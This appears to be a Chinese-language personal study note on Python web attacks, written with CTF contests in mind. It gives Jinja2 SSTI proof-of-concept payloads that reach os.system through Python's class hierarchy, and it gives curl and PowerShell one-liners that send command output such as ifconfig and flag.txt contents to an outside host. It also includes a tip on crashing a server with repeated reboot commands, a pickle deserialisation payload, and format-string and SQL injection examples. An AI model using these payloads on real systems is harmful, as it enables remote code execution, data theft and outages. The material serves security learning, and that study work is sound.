Python-web安全

SSTI in jinja2

注入发生的原因:

​ 由于不规范的代码习惯,参数格式化进字符串中在渲染模板,导致数据与逻辑混淆产生代码注入

解决办法

​ 将数据和模板文件一同渲染

示例

#app.py
from flask import Flask,render_template,request,render_template_string

app = Flask(__name__)

@app.route('/<name>')
def security(name):
    page = '''<h1>This is Test page</h1>
        <h2>Input: {}</h2>'''.format(name)
    return render_template_string(page)

if __name__ == '__main__':
    app.run(debug=True,host='0.0.0.0')

利用

读取敏感信息

我们必须通过一些全局变量来读取我们所需要的配置文件,flask内部存在request,config等全局变量

  1. request

    • request.environ 请求上下文信息

      • request.environ['werkzeug.server.shutdown']() 关闭运行服务器
  2. config 所有的配置值 数据库连接字符串,第三方服务凭据,SECRET_KEY等

    • config.items() 查看配置
    • config.root_path 查看文件所在的绝对路径

    ------

    • config.from_object
    • config.from_pyfile
    • config.from_envvar

对于reuqest全局变量,代表的是我们当前的请求及其上下文(服务器环境),request对象中存在一个environ字典对象,里面包含了请求的上下文信息,该字典当中有一个shutdown_server的方法,相应的key值werkzeug.server.shutdown,执行此方法可以杀死服务器进程,虽然比较鸡肋,但线下赛可能有用

而对于config对象,其中储存了flask服务端的所有配置值,

除了配置值外,config中还存在几个方法,我们重点先谈config.from_object方法,下面贴出源码

#!python
    def from_object(self, obj):
        """Updates the values from the given object.  An object can be of one
        of the following two types:    

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly    

        Objects are usually either modules or classes.    

        Just the uppercase variables in that object are stored in the config.
        Example usage::    

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)    

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.    

        :param obj: an import name or object
        """
        if isinstance(obj, string_types):
            obj = import_string(obj)
        for key in dir(obj):
            if key.isupper():
                self[key] = getattr(obj, key)    

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))
#!python
def import_string(import_name, silent=False):
    """Imports an object based on a string.  This is useful if you want to
    use import paths as endpoints or something similar.  An import path can
    be specified either in dotted notation (``xml.sax.saxutils.escape``)
    or with a colon as object delimiter (``xml.sax.saxutils:escape``).    

    If `silent` is True the return value will be `None` if the import fails.    

    :param import_name: the dotted name for the object to import.
    :param silent: if set to `True` import errors are ignored and
                   `None` is returned instead.
    :return: imported object
    """
    # force the import name to automatically convert to strings
    # __import__ is not able to handle unicode strings in the fromlist
    # if the module is a package
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]    

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)    

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)    

    except ImportError as e:
        if not silent:
            reraise(
                ImportStringError,
                ImportStringError(import_name, e),
                sys.exc_info()[2])

代码的大概意思是,当config.from_object传入一个字符串时,python会载入这个字符串对应的模块将所有大写的属性全部加入当前应用实例中。

SSTI in Jinja2执行任意代码

当程序源码中未引入注册os等敏感包时,jinja无法调用os模块的相关函数,为了执行任意代码,这里联想到CTF比赛中经常出现的沙盒绕过,

_bases_

返回一个类直接所继承的类(元组形式)

_class_

返回一个实例所属的类

_globals__

使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典。

__subclasses__()

获取一个类的子类,返回的是一个列表

__builtin__&& __builtins__

python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)。在控制台中直接输入__builtins__会看到如下情况

#python2
>>> __builtins__
<module '__builtin__' (built-in)>

python3 poc

().__class__.__bases__[0].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

python2 poc

().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

Tips : 用以上Poc执行多次reboot shutdown su等命令,可以导致服务器机器卡死(宕机),线下赛Tip

还有不知道为啥通过@app.route('/ssti/<name>') 这样引入的参数不能输入/ (斜杠)否则404,困惑,用request.argv.get获得就没关系,导致我一直没办法闭合</script>标签

接下来就是自己的理解了,但是发现在jinja2中使用os.system执行没有回显

可以用os.popen().read()读取

如果有字数限制,可以使用带外注入至文件,或者模板注入下python3下open()个文件就是用不了,这个以后再管,一直报类型错误

还有一种URL的带外注入,把命令返回值付给变量然后在请求带返回值参数的url吧,命令用反引号包裹赋给变量才会付给其返回值

linux下的poc

os.system('$a=\`ifconfig\` || curl --data "$a" http://xxx.xxx.xxx.xxx:xxxx')

os.system(curl https://crowdshield.com/?`cat flag.txt`)

windows下的poc

os.system('powershell $a=ipconfig; curl http://xxx.xxx.xxx.xxx:xxxx -Body $a -Method post')

可删去http://

反序列化执行任意代码

Python的反序列话与php不同,Python可以反序列化任意对象(既没有加载到代码中的OS等对象),而php反序列化只能加载已经存在的对象。这导致了Python反序列化可以执行任意代码。

pickle 基础指令

  1. c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
  2. (:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
  3. t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
  4. S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
  5. R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
  6. .:结束pickle。

Eg:

import os
import pickle

a = '''cos
system
(S'ipconfig'
tR.'''

pickle.loads(a)

造成命令执行

除此之外还有PyYAML存在反序列漏洞(未了解)

格式化字符串漏洞

由于python format格式化的功能,导致可以通过格式化字符串获取一些敏感数据,利用比较苛刻,且Django下可以读一些敏感数据。其他框架下十分难以利用

"{username}".format(username='phithon') # 普通用法
"{username!r}".format(username='phithon') # 等同于 repr(username)
"{number:0.2f}".format(number=0.5678) # 等同于 "%0.2f" % 0.5678,保留两位小数
"int: {0:d};  hex: {0:#x};  oct: {0:#o};  bin: {0:#b}".format(42) # 转换进制
"{user.username}".format(user=request.username) # 获取对象属性
"{arr[2]}".format(arr=[0,1,2,3,4]) # 获取数组键值

Eg:

#用户实例类
class admin():
   name = 'admin'
   password = 'cmhwyx'
class test():
   name = 'test'
   password = 'test123'
#用户类    
class users():
   name = 'users'
   user1 = admin()
   user2 = test()


@app.route('/')
def string():
   user = admin()
   name1 = '<h1>{user.user2.name}</h1>'+request.args.get('poc') #此处传入了一个参数
   return Response(name1.format(user=users))                    #格式化一个字符串

此时如果我们输入 http://domain.org/?poc={user.user1.password}即可以读到admin的密码

并且还可以通过python继承链找到一些更敏感的数据,暂时还找不到造成RCE,但Django框架可以通过继承链读取一些敏感数据 》参考P神的 Python 格式化字符串漏洞(Django为例)

SQL注入

通过框架自带的是不会造成sql注入的,如下:

Person.objects.filter(first_name=request.GET.get('user'))

但如果使用原生Sql语句依旧可以造成注入

Person.objects.raw('select * from users ')

import sqlite3


conn = sqlite3.connect('test.db')
curs = conn.cursor()
curs.execute('SELECT `id`,`username`,`password` FROM `users`' where id = 变量)

Python命令执行函数

eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

Python沙箱逃逸的n种姿势

用python继承链搞事情

利用Python pickle实现任意代码执行

Python 格式化字符串漏洞(Django为例)

Python反序列化漏洞的花式利用